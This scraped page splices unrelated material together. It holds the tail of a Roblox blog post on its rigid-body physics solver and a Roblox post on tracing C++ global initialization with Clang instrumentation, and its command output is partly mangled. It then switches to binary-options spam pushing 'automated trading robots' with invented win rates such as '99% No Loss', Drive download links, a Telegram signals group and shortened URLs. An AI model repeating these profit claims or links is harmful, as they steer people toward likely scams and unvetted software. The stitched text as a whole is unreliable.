    The Roblox engine uses analytical methods to compute the dynamic response of constraints, as opposed to penalty methods that were used before. Analytics methods were initially introduced in Baraff 1989, where they are used to treat both equality and non-equality constraints in a consistent manner. Baraff observed that the contact model can be formulated using quadratic programming, and he provided a heuristic solution method (which is not the method we use in our solver).
    Instead of using force-based formulation, we use an impulse-based formulation in velocity space, originally introduced by Mirtich-Canny 1995 and further improved by Stewart-Trinkle 1996, which unifies the treatment of different contact types and guarantees the existence of a solution for contacts with friction. At each timestep, the constraints and collisions are maintained by applying instantaneous changes in velocities due to constraint impulses. An excellent explanation of why impulse-based simulation is superior is contained in the GDC presentation of Catto 2014.
    The frictionless contacts are modeled using a linear complementarity problem (LCP) as described in Baraff 1994. Friction is added as a non-linear projection onto the friction cone, interleaved with the iterations of the Projected Gauss-Seidel.
    The numerical drift that introduces positional errors in the constraints is resolved using a post-stabilization technique using pseudo-velocities introduced by Cline-Pai 2003. It involves solving a second LCP in the position space, which projects the system back to the constraint manifold.
    The LCPs are solved using a PGS / Impulse Solver popularized by Catto 2005 (also see Catto 2009). This method is iterative and considers each individual constraints in sequence and resolves it independently. Over many iterations, and in ideal conditions, the system converges to a global solution.
    Additionally, high mass ratio issues in equality constraints are ironed out by preconditioning the PGS using the sparse LDL decomposition of the constraint matrix of equality constraints. Dense submatrices of the constraint matrix are sparsified using a method we call Body Splitting. This is similar to the LDL decomposition used in Baraff 1996, but allows more general mechanical systems, and solves the system in constraint space. For more information, you can see my GDC 2020 presentation.
    The architecture of our solver follows the idea of Guendelman-Bridson-Fedkiw, where the velocity and position stepping are separated by the constraint resolution. Our time sequencing is:
    1. Advance velocities
    2. Constraint resolution in velocity space and position space
    3. Advance positions
    This scheme has the advantage of integrating only valid velocities, and limiting latency in external force application but allowing a small amount of perceived constraint violation due to numerical drift.
    An excellent reference for rigid body simulation is the book Erleben 2005 that was recently made freely available. You can find online lectures about physics-based animation, a blog by Nilson Souto on building a physics engine, a very good GDC presentation by Erin Catto on modern solver methods, and forums like the Bullet Physics Forum and GameDev which are excellent places to ask questions.

    In Conclusion

    The field of game physics simulation presents many interesting problems that are both exciting and challenging. There are opportunities to learn a substantial amount of cool mathematics and physics and to use modern optimizations techniques. It’s an area of game development that tightly marries mathematics, physics and software engineering.
    Even if Roblox has a good rigid body physics engine, there are areas where it can be improved and optimized. Also, we are working on exciting new projects like fracturing, deformation, softbody, cloth, aerodynamics and water simulation.
    Neither Roblox Corporation nor this blog endorses or supports any company or service. Also, no guarantees or promises are made regarding the accuracy, reliability or completeness of the information contained in this blog.
    This blog post was originally published on the Roblox Tech Blog.
    © 2020 Roblox Corporation. All Rights Reserved.

    Using Clang to Minimize Global Variable Use

    July

    23, 2020

    by RandomTruffle
    PRODUCT & TECH
    Every non-trivial program has at least some amount of global state, but too much can be a bad thing. In C++ (which constitutes close to 100% of Roblox’s engine code) this global state is initialized before main() and destroyed after returning from main(), and this happens in a mostly non-deterministic order. In addition to leading to confusing startup and shutdown semantics that are difficult to reason about (or change), it can also lead to severe instability.
    Roblox code also creates a lot of long-running detached threads (threads which are never joined and just run until they decide to stop, which might be never). These two things together have a very serious negative interaction on shutdown, because long-running threads continue accessing the global state that is being destroyed. This can lead to elevated crash rates, test suite flakiness, and just general instability.
    The first step to digging yourself out of a mess like this is to understand the extent of the problem, so in this post I’m going to talk about one technique you can use to gain visibility into your global startup flow. I’m also going to discuss how we are using this to improve stability across the entire Roblox game engine platform by decreasing our use of global variables.

    Introducing -finstrument-functions

    Nothing excites me more than learning about a new obscure compiler option that I’ve never had a use for before, so I was pretty happy when a colleague pointed me to this option in the Clang Command Line Reference. I’d never used it before, but it sounded very cool. The idea being that if we could get the compiler to tell us every time it entered and exited a function, we could filter this information through a symbolizer of some kind and generate a report of functions that a) occur before main(), and b) are the very first function in the call-stack (indicating it’s a global).
    Unfortunately, the documentation basically just tells you that the option exists with no mention of how to use it or if it even actually does what it sounds like it does. There’s also two different options that sound similar to each other (-finstrument-functions and -finstrument-functions-after-inlining), and I still wasn’t entirely sure what the difference was. So I decided to throw up a quick sample on godbolt to see what happened, which you can see here. Note there are two assembly outputs for the same source listing. One uses the first option and the other uses the second option, and we can compare the assembly output to understand the differences. We can gather a few takeaways from this sample:
    1. The compiler is injecting calls to __cyg_profile_func_enter and __cyg_profile_func_exit inside of every function, inline or not.
    2. The only difference between the two options occurs at the call-site of an inline function.
    3. With -finstrument-functions, the instrumentation for the inlined function is inserted at the call-site, whereas with -finstrument-functions-after-inlining we only have instrumentation for the outer function. This means that when using-finstrument-functions-after-inlining you won’t be able to determine which functions are inlined and where.
    Of course, this sounds exactly like what the documentation said it did, but sometimes you just need to look under the hood to convince yourself.
    To put all of this another way, if we want to know about calls to inline functions in this trace we need to use -finstrument-functions because otherwise their instrumentation is silently removed by the compiler. Sadly, I was never able to get -finstrument-functions to work on a real example. I would always end up with linker errors deep in the Standard C++ Library which I was unable to figure out. My best guess is that inlining is often a heuristic, and this can somehow lead to subtle ODR (one-definition rule) violations when the optimizer makes different inlining decisions from different translation units. Luckily global constructors (which is what we care about) cannot possibly be inlined anyway, so this wasn’t a problem.
    I suppose I should also mention that I still got tons of linker errors with -finstrument-functions-after-inlining as well, but I did figure those out. As best as I can tell, this option seems to imply –whole-archive linker semantics. Discussion of –whole-archive is outside the scope of this blog post, but suffice it to say that I fixed it by using linker groups (e.g. -Wl,–start-group and -Wl,–end-group) on the compiler command line. I was a bit surprised that we didn’t get these same linker errors without this option and still don’t totally understand why. If you happen to know why this option would change linker semantics, please let me know in the comments!

    Implementing the Callback Hooks

    If you’re astute, you may be wondering what in the world __cyg_profile_func_enter and __cyg_profile_func_exit are and why the program is even successfully linking in the first without giving undefined symbol reference errors, since the compiler is apparently trying to call some function we’ve never defined. Luckily, there are some options that allow us to see inside the linker’s algorithm so we can find out where it’s getting this symbol from to begin with. Specifically, -y should tell us how the linker is resolving . We’ll try it with a dummy program first and a symbol that we’ve defined ourselves, then we’ll try it with __cyg_profile_func_enter .
    [email protected]:~/src/sandbox$ cat instr.cpp int main() {} [email protected]:~/src/sandbox$ clang++-9 -fuse-ld=lld -Wl,-y -Wl,main instr.cpp /usbin/../lib/gcc/x86_64-linux-gnu/crt1.o: reference to main /tmp/instr-5b6c60.o: definition of main
    No surprises here. The C Runtime Library references main(), and our object file defines it. Now let’s see what happens with __cyg_profile_func_enter and -finstrument-functions-after-inlining.
    [email protected]:~/src/sandbox$ clang++-9 -fuse-ld=lld -finstrument-functions-after-inlining -Wl,-y -Wl,__cyg_profile_func_enter instr.cpp /tmp/instr-8157b3.o: reference to __cyg_profile_func_enter /lib/x86_64-linux-gnu/libc.so.6: shared definition of __cyg_profile_func_enter
    Now, we see that libc provides the definition, and our object file references it. Linking works a bit differently on Unix-y platforms than it does on Windows, but basically this means that if we define this function ourselves in our cpp file, the linker will just automatically prefer it over the shared library version. Working godbolt link without runtime output is here. So now you can kind of see where this is going, however there are still a couple of problems left to solve.
    1. We don’t want to do this for a full run of the program. We want to stop as soon as we reach main.
    2. We need a way to symbolize this trace.
    The first problem is easy to solve. All we need to do is compare the address of the function being called to the address of main, and set a flag indicating we should stop tracing henceforth. (Note that taking the address of main is undefined behavior[1], but for our purposes it gets the job done, and we aren’t shipping this code, so ¯\_(ツ)_/¯). The second problem probably deserves a little more discussion though.

    Symbolizing the Traces

    In order to symbolize these traces, we need two things. First, we need to store the trace somewhere on persistent storage. We can’t expect to symbolize in real time with any kind of reasonable performance. You can write some C code to save the trace to some magic filename, or you can do what I did and just write it to stderr (this way you can pipe stderr to some file when you run it).
    Second, and perhaps more importantly, for every address we need to write out the full path to the module the address belongs to. Your program loads many shared libraries, and in order to translate an address into a symbol, we have to know which shared library or executable the address actually belongs to. In addition, we have to be careful to write out the address of the symbol in the file on disk. When your program is running, the operating system could have loaded it anywhere in memory. And if we’re going to symbolize it after the fact we need to make sure we can still reference it after the information about where it was loaded in memory is lost. The linux function dladdr() gives us both pieces of information we need. A working godbolt sample with the exact implementation of our instrumentation hooks as they appear in our codebase can be found here.

    Putting it All Together

    Now that we have a file in this format saved on disk, all we need to do is symbolize the addresses. addr2line is one option, but I went with llvm-symbolizer as I find it more robust. I wrote a Python script to parse the file and symbolize each address, then print it in the same “visual” hierarchical format that the original output file is in. There are various options for filtering the resulting symbol list so that you can clean up the output to include only things that are interesting for your case. For example, I filtered out any globals that have boost:: in their name, because I can’t exactly go rewrite boost to not use global variables.
    The script isn’t as simple as you would think, because simply crawling each line and symbolizing it would be unacceptably slow (when I tried this, it took over 2 hours before I finally killed the process). This is because the same address might appear thousands of times, and there’s no reason to run llvm-symbolizer against the same address multiple times. So there’s a lot of smarts in there to pre-process the address list and eliminate duplicates. I won’t discuss the implementation in more detail because it isn’t super interesting. But I’ll do even better and provide the source!
    So after all of this, we can run any one of our internal targets to get the call tree, run it through the script, and then get output like this (actual output from a Roblox process, source file information removed):
    excluded_symbols = [‘.\boost.*’]* excluded_modules = [‘/usr.\’]* /uslib/x86_64-linux-gnu/libLLVM-9.so.1: 140 unique addresses InterestingRobloxProcess: 38928 unique addresses /uslib/x86_64-linux-gnu/libstdc++.so.6: 1 unique addresses /uslib/x86_64-linux-gnu/libc++.so.1: 3 unique addresses Printing call tree with depth 2 for 29276 global variables. __cxx_global_var_init.5 (InterestingFile1.cpp:418:22) RBX::InterestingRobloxClass2::InterestingRobloxClass2() (InterestingFile2.cpp.:415:0) __cxx_global_var_init.19 (InterestingFile2.cpp:183:34) (anonymous namespace)::InterestingRobloxClass2::InterestingRobloxClass2() (InterestingFile2.cpp:171:0) __cxx_global_var_init.274 (InterestingFile3.cpp:2364:33) RBX::InterestingRobloxClass3::InterestingRobloxClass3()
    So there you have it: the first half of the battle is over. I can run this script on every platform, compare results to understand what order our globals are actually initialized in in practice, then slowly migrate this code out of global initializers and into main where it can be deterministic and explicit.

    Future Work

    It occurred to me sometime after implementing this that we could make a general purpose profiling hook that exposed some public symbols (dllexport’ed if you speak Windows), and allowed a plugin module to hook into this dynamically. This plugin module could filter addresses using whatever arbitrary logic that it was interested in. One interesting use case I came up for this is that it could look up the debug information, check if the current address maps to the constructor of a function local static, and write out the address if so. This effectively allows us to gain a deeper understanding of the order in which our lazy statics are initialized. The possibilities are endless here.

    Further Reading

    If you’re interested in this kind of thing, I’ve collected a couple of my favorite references for this kind of topic.
    1. Various: The C++ Language Standard
    2. Matt Godbolt: The Bits Between the Bits: How We Get to main()
    3. Ryan O’Neill: Learning Linux Binary Analysis
    4. Linkers and Loaders: John R. Levine
    5. https://eel.is/c++draft/basic.exec#basic.start.main-3
    Neither Roblox Corporation nor this blog endorses or supports any company or service. Also, no guarantees or promises are made regarding the accuracy, reliability or completeness of the information contained in this blog.
    submitted by jaydenweez to u/jaydenweez [link] [comments]

    Binary Option Accurate Signals Software //Boss Pro Bot V21 ... Best Safe Binary Options Brokers ® Binary Options Scam ... best Binary Option Robot 100% Automated Trading Software ... Crypto Engine Software Review Scam Or Real Deal? Binary Options Doctor Binäre Optionen Software - Automatisches Handeln Nur ... ADVANCE Touch Binary Bot 2020 Binary Robot Software Safe ... Amazing binary Option Free bot v2.0  No Loss  99 % ...

    Option Robot is recently introduced automated trading software designed and developed by expert traders with vast experience in Forex, binary options and derivatives trading. It is developed with a view to helping traders get the most out of their trading with little effort or experience necessary. Option Robot offers trading signals with winning rates as high as 83% and the This Binary Option Auto Trading software is popular among traders in terms of the highest scam activities. This trading bot makes money by following two methods. Furthermore, this Binary Option Auto Trading bot makes money when traders lose their trade. Every time after placing a trade with Binary Option Auto Trading bot, you end up with zero ... Top 15 Binary Options Brokers 1. IQ Option. IQ Option was established in 2012 and had since then received favorable reviews on the internet. It uses in-house software for trading. The maximum returns are 95%. However, traders in the USA, Australia, Canada, Russia, Belgium, Japan, Turkey, Israel, Iran, Sudan, and Syria are not accepted. IQOption ... It’s safe in a way that you’re not forced to lose any amount right from the get-go. High and fast returns. When you invest, one of your goals is to get high returns. Due to binary options’ higher risk nature, its returns are also typically higher. It yields a return that amounts to an average of around 60-90%, depending on your broker ... Safe And Secure Recommendations 150+ Years Industry Experience Author: Jacob Bailey Market Analyst . Signal Service Providers. Updated Aug, 2020 1022 Views Today. Whether a novice or experienced trader, you will probably question how to find the best trading opportunities and enhance your profit. Well, to engage in the best trades, you should make use of signals software. Binary trading ... All these wonder-binary option trading systems are sometimes advertised under multiple names, with fake testimonials. They lure you in and before you know it you are out your initial deposit, say $200. A few days later, you get a phone call from a “senior broker” asking you to invest $7,500. Feel free to type in the Comments section at the end of this article questionable binary options ... Binary options depend on the outcome of a yes/no proposition. A simple binary option may offer a payout if the price of stock ABC is above $33.74 at 4:30 p.m. in 2 days. The option will lose money ... Despite being a new binary option trading system, OptionRobot has already caught the attention of many binary options traders who have been quick to recognize this potentially lucrative piece of software with its highly customizable service. We look forward to monitoring this exciting new robot’s win-rates in the coming months and highly recommend that traders check it out as it offers a ... Binary options trading seems easier to traders because it is carried out on an online trading platform. If you want to get started with binary options trading, then check out FXMaster Bot. This is an awesome free software (no downloads) that does binary options auto trading for you. Safe And Secure Recommendations 150+ Years Industry Experience Author: Robert Sammut Trading Coach. Automated Trading Software. Updated Aug, 2020 1006 Views Today. It's not impossible to master binary trading, and like anything else, the more you put in, the more you will get out. To become good at making money, you'll need a great broker, time and some patience. For some people investing this ...

    [index] [13338] [10881] [22736] [11845] [12697] [5391] [20616] [2942] [1949] [3575]

    Binary Option Accurate Signals Software //Boss Pro Bot V21 ...

    I wish you happy trading with the help of this software Please Subscribe to get more free good trading robot FREE : http://bit.ly/2DBZhzv You can start with ... Downlink Link- https://drive.google.com/file/d/1E0nI95H36ulU96ziYHfEYTe1Er5QHb9l/view?usp=sharing Free signals group- https://t.me/BullishKingsignals Get 50%... best Binary Option Robot 100% Automated Trading Software : http://tinyurl.com/go2AutoBinarySignals1 ---- best Binary Option Robot 100% Automated Trading Soft... 🚩Certified Broker!🔔 Sign up to Get 💰Profit Offers💰👉 https://bit.ly/3bKlLys 🚩Automated Binary Options Trading Software 👉 https://bit.ly/2R7faV2 Binary options... BO News : http://de.binary-options-pro.com Sie suchen eine voll-automatische binäre Optionen Software zum profitablen handeln binärer Optionen? Lernen Sie me... Binary Options Auto Trading Robot Software. This Advance Touch Bot is trading on the Binary.com platform and it’s possible to run on the Deriv.com platform. ... crypto engine software review ️https://binaryoptionsdoctor.com/crypto-engine-scam-review/ Crypto Engine Software is only 10 days old. Crypto Engine is suppos...

    https://binaryoptiontrade.inulprudnadit.tk